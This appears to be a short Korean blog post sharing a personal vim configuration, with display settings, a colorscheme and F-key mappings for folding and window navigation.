set number ruler nowrap

set hlsearch

set smarttab

set showmatch showmode

set title

set term=xterm-color

syntax on

colorscheme evening


map <F2> v]}zf

map <F3> zo

map <F5> <C-W>h

map <F6> <C-W>l


let &titlestring="%t (%{expand(\"%:~:h\")})"



음...

블로그 이미지

프로그래머 지향자 RosaGigantea

바쁜 일상 생활중의 기억 장소

Tag vi